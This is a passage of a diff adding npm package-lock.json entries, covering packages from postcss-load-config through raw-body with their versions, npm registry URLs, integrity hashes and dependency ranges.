+      "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz",
+      "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==",
+      "requires": {
+        "lilconfig": "^2.0.5",
+        "yaml": "^1.10.2"
+      }
+    },
+    "postcss-loader": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz",
+      "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==",
+      "requires": {
+        "cosmiconfig": "^7.0.0",
+        "klona": "^2.0.5",
+        "semver": "^7.3.5"
+      }
+    },
+    "postcss-logical": {
+      "version": "5.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz",
+      "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==",
+      "requires": {}
+    },
+    "postcss-media-minmax": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz",
+      "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==",
+      "requires": {}
+    },
+    "postcss-merge-longhand": {
+      "version": "5.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz",
+      "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0",
+        "stylehacks": "^5.1.0"
+      }
+    },
+    "postcss-merge-rules": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz",
+      "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-selector-parser": "^6.0.5"
+      }
+    },
+    "postcss-minify-font-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz",
+      "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-minify-gradients": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz",
+      "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==",
+      "requires": {
+        "colord": "^2.9.1",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-minify-params": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz",
+      "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-minify-selectors": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz",
+      "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.5"
+      }
+    },
+    "postcss-modules-extract-imports": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz",
+      "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==",
+      "requires": {}
+    },
+    "postcss-modules-local-by-default": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz",
+      "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==",
+      "requires": {
+        "icss-utils": "^5.0.0",
+        "postcss-selector-parser": "^6.0.2",
+        "postcss-value-parser": "^4.1.0"
+      }
+    },
+    "postcss-modules-scope": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz",
+      "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.4"
+      }
+    },
+    "postcss-modules-values": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz",
+      "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==",
+      "requires": {
+        "icss-utils": "^5.0.0"
+      }
+    },
+    "postcss-nested": {
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz",
+      "integrity": "sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.6"
+      }
+    },
+    "postcss-nesting": {
+      "version": "10.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.2.0.tgz",
+      "integrity": "sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==",
+      "requires": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "postcss-normalize": {
+      "version": "10.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz",
+      "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==",
+      "requires": {
+        "@csstools/normalize.css": "*",
+        "postcss-browser-comments": "^4",
+        "sanitize.css": "*"
+      }
+    },
+    "postcss-normalize-charset": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz",
+      "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==",
+      "requires": {}
+    },
+    "postcss-normalize-display-values": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz",
+      "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-positions": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz",
+      "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-repeat-style": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz",
+      "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-string": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz",
+      "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-timing-functions": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz",
+      "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-unicode": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz",
+      "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-url": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz",
+      "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==",
+      "requires": {
+        "normalize-url": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-normalize-whitespace": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz",
+      "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-opacity-percentage": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.2.tgz",
+      "integrity": "sha512-lyUfF7miG+yewZ8EAk9XUBIlrHyUE6fijnesuz+Mj5zrIHIEw6KcIZSOk/elVMqzLvREmXB83Zi/5QpNRYd47w=="
+    },
+    "postcss-ordered-values": {
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz",
+      "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==",
+      "requires": {
+        "cssnano-utils": "^3.1.0",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-overflow-shorthand": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz",
+      "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-page-break": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-3.0.4.tgz",
+      "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==",
+      "requires": {}
+    },
+    "postcss-place": {
+      "version": "7.0.5",
+      "resolved": "https://registry.npmjs.org/postcss-place/-/postcss-place-7.0.5.tgz",
+      "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-preset-env": {
+      "version": "7.8.2",
+      "resolved": "https://registry.npmjs.org/postcss-preset-env/-/postcss-preset-env-7.8.2.tgz",
+      "integrity": "sha512-rSMUEaOCnovKnwc5LvBDHUDzpGP+nrUeWZGWt9M72fBvckCi45JmnJigUr4QG4zZeOHmOCNCZnd2LKDvP++ZuQ==",
+      "requires": {
+        "@csstools/postcss-cascade-layers": "^1.1.0",
+        "@csstools/postcss-color-function": "^1.1.1",
+        "@csstools/postcss-font-format-keywords": "^1.0.1",
+        "@csstools/postcss-hwb-function": "^1.0.2",
+        "@csstools/postcss-ic-unit": "^1.0.1",
+        "@csstools/postcss-is-pseudo-class": "^2.0.7",
+        "@csstools/postcss-nested-calc": "^1.0.0",
+        "@csstools/postcss-normalize-display-values": "^1.0.1",
+        "@csstools/postcss-oklab-function": "^1.1.1",
+        "@csstools/postcss-progressive-custom-properties": "^1.3.0",
+        "@csstools/postcss-stepped-value-functions": "^1.0.1",
+        "@csstools/postcss-text-decoration-shorthand": "^1.0.0",
+        "@csstools/postcss-trigonometric-functions": "^1.0.2",
+        "@csstools/postcss-unset-value": "^1.0.2",
+        "autoprefixer": "^10.4.11",
+        "browserslist": "^4.21.3",
+        "css-blank-pseudo": "^3.0.3",
+        "css-has-pseudo": "^3.0.4",
+        "css-prefers-color-scheme": "^6.0.3",
+        "cssdb": "^7.0.1",
+        "postcss-attribute-case-insensitive": "^5.0.2",
+        "postcss-clamp": "^4.1.0",
+        "postcss-color-functional-notation": "^4.2.4",
+        "postcss-color-hex-alpha": "^8.0.4",
+        "postcss-color-rebeccapurple": "^7.1.1",
+        "postcss-custom-media": "^8.0.2",
+        "postcss-custom-properties": "^12.1.9",
+        "postcss-custom-selectors": "^6.0.3",
+        "postcss-dir-pseudo-class": "^6.0.5",
+        "postcss-double-position-gradients": "^3.1.2",
+        "postcss-env-function": "^4.0.6",
+        "postcss-focus-visible": "^6.0.4",
+        "postcss-focus-within": "^5.0.4",
+        "postcss-font-variant": "^5.0.0",
+        "postcss-gap-properties": "^3.0.5",
+        "postcss-image-set-function": "^4.0.7",
+        "postcss-initial": "^4.0.1",
+        "postcss-lab-function": "^4.2.1",
+        "postcss-logical": "^5.0.4",
+        "postcss-media-minmax": "^5.0.0",
+        "postcss-nesting": "^10.2.0",
+        "postcss-opacity-percentage": "^1.1.2",
+        "postcss-overflow-shorthand": "^3.0.4",
+        "postcss-page-break": "^3.0.4",
+        "postcss-place": "^7.0.5",
+        "postcss-pseudo-class-any-link": "^7.1.6",
+        "postcss-replace-overflow-wrap": "^4.0.0",
+        "postcss-selector-not": "^6.0.1",
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-pseudo-class-any-link": {
+      "version": "7.1.6",
+      "resolved": "https://registry.npmjs.org/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz",
+      "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "postcss-reduce-initial": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz",
+      "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==",
+      "requires": {
+        "browserslist": "^4.16.6",
+        "caniuse-api": "^3.0.0"
+      }
+    },
+    "postcss-reduce-transforms": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz",
+      "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0"
+      }
+    },
+    "postcss-replace-overflow-wrap": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz",
+      "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==",
+      "requires": {}
+    },
+    "postcss-selector-not": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz",
+      "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "postcss-selector-parser": {
+      "version": "6.0.10",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
+      "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
+      "requires": {
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      }
+    },
+    "postcss-svgo": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz",
+      "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==",
+      "requires": {
+        "postcss-value-parser": "^4.2.0",
+        "svgo": "^2.7.0"
+      },
+      "dependencies": {
+        "commander": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
+          "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw=="
+        },
+        "css-tree": {
+          "version": "1.1.3",
+          "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+          "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+          "requires": {
+            "mdn-data": "2.0.14",
+            "source-map": "^0.6.1"
+          }
+        },
+        "mdn-data": {
+          "version": "2.0.14",
+          "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+          "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+        },
+        "svgo": {
+          "version": "2.8.0",
+          "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz",
+          "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==",
+          "requires": {
+            "@trysound/sax": "0.2.0",
+            "commander": "^7.2.0",
+            "css-select": "^4.1.3",
+            "css-tree": "^1.1.3",
+            "csso": "^4.2.0",
+            "picocolors": "^1.0.0",
+            "stable": "^0.1.8"
+          }
+        }
+      }
+    },
+    "postcss-unique-selectors": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz",
+      "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.5"
+      }
+    },
+    "postcss-value-parser": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+      "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+    },
+    "prelude-ls": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+      "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g=="
+    },
+    "pretty-bytes": {
+      "version": "5.6.0",
+      "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
+      "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="
+    },
+    "pretty-error": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz",
+      "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==",
+      "requires": {
+        "lodash": "^4.17.20",
+        "renderkid": "^3.0.0"
+      }
+    },
+    "pretty-format": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-24.9.0.tgz",
+      "integrity": "sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==",
+      "requires": {
+        "@jest/types": "^24.9.0",
+        "ansi-regex": "^4.0.0",
+        "ansi-styles": "^3.2.0",
+        "react-is": "^16.8.4"
+      }
+    },
+    "process-nextick-args": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+      "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+    },
+    "promise": {
+      "version": "8.2.0",
+      "resolved": "https://registry.npmjs.org/promise/-/promise-8.2.0.tgz",
+      "integrity": "sha512-+CMAlLHqwRYwBMXKCP+o8ns7DN+xHDUiI+0nArsiJ9y+kJVPLFxEaSw6Ha9s9H0tftxg2Yzl25wqj9G7m5wLZg==",
+      "requires": {
+        "asap": "~2.0.6"
+      }
+    },
+    "prompts": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+      "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+      "requires": {
+        "kleur": "^3.0.3",
+        "sisteransi": "^1.0.5"
+      }
+    },
+    "prop-types": {
+      "version": "15.8.1",
+      "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+      "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
+      "requires": {
+        "loose-envify": "^1.4.0",
+        "object-assign": "^4.1.1",
+        "react-is": "^16.13.1"
+      }
+    },
+    "proxy-addr": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+      "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+      "requires": {
+        "forwarded": "0.2.0",
+        "ipaddr.js": "1.9.1"
+      },
+      "dependencies": {
+        "ipaddr.js": {
+          "version": "1.9.1",
+          "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+          "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
+        }
+      }
+    },
+    "psl": {
+      "version": "1.9.0",
+      "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+      "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="
+    },
+    "punycode": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
+    },
+    "q": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
+      "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw=="
+    },
+    "qs": {
+      "version": "6.13.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
+      "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
+      "requires": {
+        "side-channel": "^1.0.6"
+      }
+    },
+    "querystringify": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+      "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="
+    },
+    "queue-microtask": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+      "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="
+    },
+    "quick-lru": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+      "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="
+    },
+    "raf": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
+      "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
+      "requires": {
+        "performance-now": "^2.1.0"
+      }
+    },
+    "randombytes": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+      "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+      "requires": {
+        "safe-buffer": "^5.1.0"
+      }
+    },
+    "range-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
+    },
+    "raw-body": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
+      "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
+      "requires": {
+        "bytes": "3.1.2",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
